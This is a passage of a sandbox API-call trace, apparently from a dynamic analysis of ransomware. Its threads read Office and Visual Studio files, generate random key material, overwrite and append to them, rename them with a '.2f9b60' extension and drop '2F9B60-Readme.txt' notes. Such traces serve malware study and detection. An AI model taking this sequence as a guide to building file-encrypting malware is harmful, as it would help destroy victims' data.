lpNumberOfBytesRead=0x29d3fab0, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x29d3fab0*=0xf38, lpOverlapped=0x0) returned 1 [0132.482] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.482] WriteFile (in: hFile=0x1af4, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x29d3fab4, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x29d3fab4*=0xf38, lpOverlapped=0x0) returned 1 [0132.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d20 [0132.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0132.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0132.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0132.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f270 [0132.498] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.498] WriteFile (in: hFile=0x1af4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x29d3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x29d3fbd0*=0x118, lpOverlapped=0x0) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3f0) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f270) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0132.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0132.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0132.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cf0) returned 1 [0132.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106c40 [0132.521] wcscpy (in: _Dest=0x106c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" [0132.521] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.2f9b60" [0132.521] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.2f9b60", NtPathName=0x29d3fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776770 [0132.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0132.523] NtQueryInformationFile (in: FileHandle=0x1af4, IoStatusBlock=0x29d3fc58, FileInformation=0x29d3fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29d3fc58, FileInformation=0x29d3fc68) returned 0x0 [0132.523] NtSetInformationFile (FileHandle=0x1af4, IoStatusBlock=0x29d3fc58, FileInformation=0x29d3fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0132.525] FlushFileBuffers (hFile=0x1af4) returned 1 [0138.524] CloseHandle (hObject=0x1af4) returned 1 [0138.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862510 [0138.660] wcscpy (in: _Dest=0x1b862510, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.660] wcscat (in: _Dest=0x1b862510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc4 [0146.911] WriteFile (in: hFile=0x1cc4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29d3fb10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29d3fb10*=0xba9, lpOverlapped=0x0) returned 1 [0147.254] CloseHandle (hObject=0x1cc4) returned 1 [0147.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 [0147.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad340) returned 1 Thread: id = 1813 os_tid = 0xcf0 [0132.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp")) returned 0x20 [0132.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0132.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af8 [0132.495] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x29c1f840 | out: lpFileSize=0x29c1f840*=2360) returned 1 [0132.495] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.495] ReadFile (in: hFile=0x1af8, lpBuffer=0x29c1f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c1f808, lpOverlapped=0x0 | out: lpBuffer=0x29c1f7c0*, lpNumberOfBytesRead=0x29c1f808*=0x4, lpOverlapped=0x0) returned 1 [0132.501] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0132.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.501] NtQuerySystemTime (in: CurrentTime=0x29c1f700 | out: CurrentTime=0x29c1f700*=132462177377398000) returned 0x0 [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x6c62f7c7 [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x2f9cbcfd [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0xe6a3c8a [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x1615b857 [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x337cbbc3 [0132.501] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x27a33c9b [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x654624d [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x52e0d478 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x21bb5f65 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x299091d0 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x2cc2b163 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x7e10addf [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x1cfac167 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x5af7d667 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0xd4fb1e1 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x2ac08863 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x14fb21cb [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x33907414 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x2d419cea [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x771818fb [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x21ab5f3e [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x48814abe [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x34a0a234 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x20b1f58e [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x23e390f1 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x2f37fbb3 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0xb3be67f [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x58dd24e1 [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x4c274cce [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x42da92ff [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x4d7b928c [0132.502] RtlRandomEx (in: Seed=0x29c1f6f0 | out: Seed=0x29c1f6f0) returned 0x3ccfb831 [0132.511] ReadFile (in: hFile=0x1af8, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x29c1f6f0, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x29c1f6f0*=0x938, lpOverlapped=0x0) returned 1 [0132.511] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.511] WriteFile (in: hFile=0x1af8, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0x938, lpNumberOfBytesWritten=0x29c1f6f4, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x29c1f6f4*=0x938, lpOverlapped=0x0) returned 1 [0132.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cf0 [0132.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0132.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0132.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0132.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd972b0 [0132.527] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.527] WriteFile (in: hFile=0x1af8, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x29c1f810, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x29c1f810*=0x120, lpOverlapped=0x0) returned 1 [0132.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0132.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0132.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cf0) returned 1 [0132.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cc0) returned 1 [0132.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266bd0) returned 1 [0132.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106c40 [0132.535] wcscpy (in: _Dest=0x106c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" [0132.535] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.2f9b60" [0132.535] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.2f9b60", NtPathName=0x29c1f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776770 [0132.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0132.537] NtQueryInformationFile (in: FileHandle=0x1af8, IoStatusBlock=0x29c1f898, FileInformation=0x29c1f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29c1f898, FileInformation=0x29c1f8a8) returned 0x0 [0132.537] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x29c1f898, FileInformation=0x29c1f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0132.539] FlushFileBuffers (hFile=0x1af8) returned 1 [0138.524] CloseHandle (hObject=0x1af8) returned 1 [0138.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c920 [0138.525] wcscpy (in: _Dest=0x2050c920, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.525] wcscat (in: _Dest=0x2050c920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0138.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b14 [0147.172] WriteFile (in: hFile=0x1b14, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29c1f750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29c1f750*=0xba9, lpOverlapped=0x0) returned 1 [0147.258] CloseHandle (hObject=0x1b14) returned 1 [0147.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c920) returned 1 [0147.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 Thread: id = 1814 os_tid = 0xd00 [0132.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8625c0 [0132.529] wcscpy (in: _Dest=0x1b8625c0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" [0132.530] wcscat (in: _Dest=0x1b8625c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\" [0132.530] wcscat (in: _Dest=0x1b8625c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*" [0132.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0132.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cec40 [0132.530] wcscmp (_String1=".", _String2=".") returned 0 [0132.530] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.530] wcscmp (_String1="..", _String2=".") returned 1 [0132.530] wcscmp (_String1="..", _String2="..") returned 0 [0132.531] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0132.531] FindClose (in: hFindFile=0x1b7cec40 | out: hFindFile=0x1b7cec40) returned 1 [0132.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0132.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0132.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 Thread: id = 1815 os_tid = 0xd04 [0132.545] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm")) returned 0x20 [0132.548] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 1 [0132.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1afc [0132.550] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x29f6fbc0 | out: lpFileSize=0x29f6fbc0*=0) returned 1 [0132.550] FlushFileBuffers (hFile=0x1afc) returned 1 [0138.525] CloseHandle (hObject=0x1afc) returned 1 [0138.526] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 1 [0138.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ab10) returned 1 Thread: id = 1816 os_tid = 0xd08 [0132.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm")) returned 0x20 [0132.561] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM", dwFileAttributes=0x20) returned 1 [0132.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b00 [0132.562] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x299bf820 | out: lpFileSize=0x299bf820*=266741) returned 1 [0132.562] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x411f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.563] ReadFile (in: hFile=0x1b00, lpBuffer=0x299bf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x299bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x299bf7a0*, lpNumberOfBytesRead=0x299bf7e8*=0x4, lpOverlapped=0x0) returned 1 [0132.564] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cc0 [0132.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.565] NtQuerySystemTime (in: CurrentTime=0x299bf6e0 | out: CurrentTime=0x299bf6e0*=132462177378022000) returned 0x0 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x67afc3cb [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x5ef38267 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x13c8e093 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x9ea266a [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x41738f60 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x424b9aaa [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x39650c49 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x726972c7 [0132.565] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x21f34d63 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x4d894c4e [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x5ca69f18 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x2d952ae [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x7495edb5 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x3aea18ed [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x65dfeafa [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x485d8711 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: 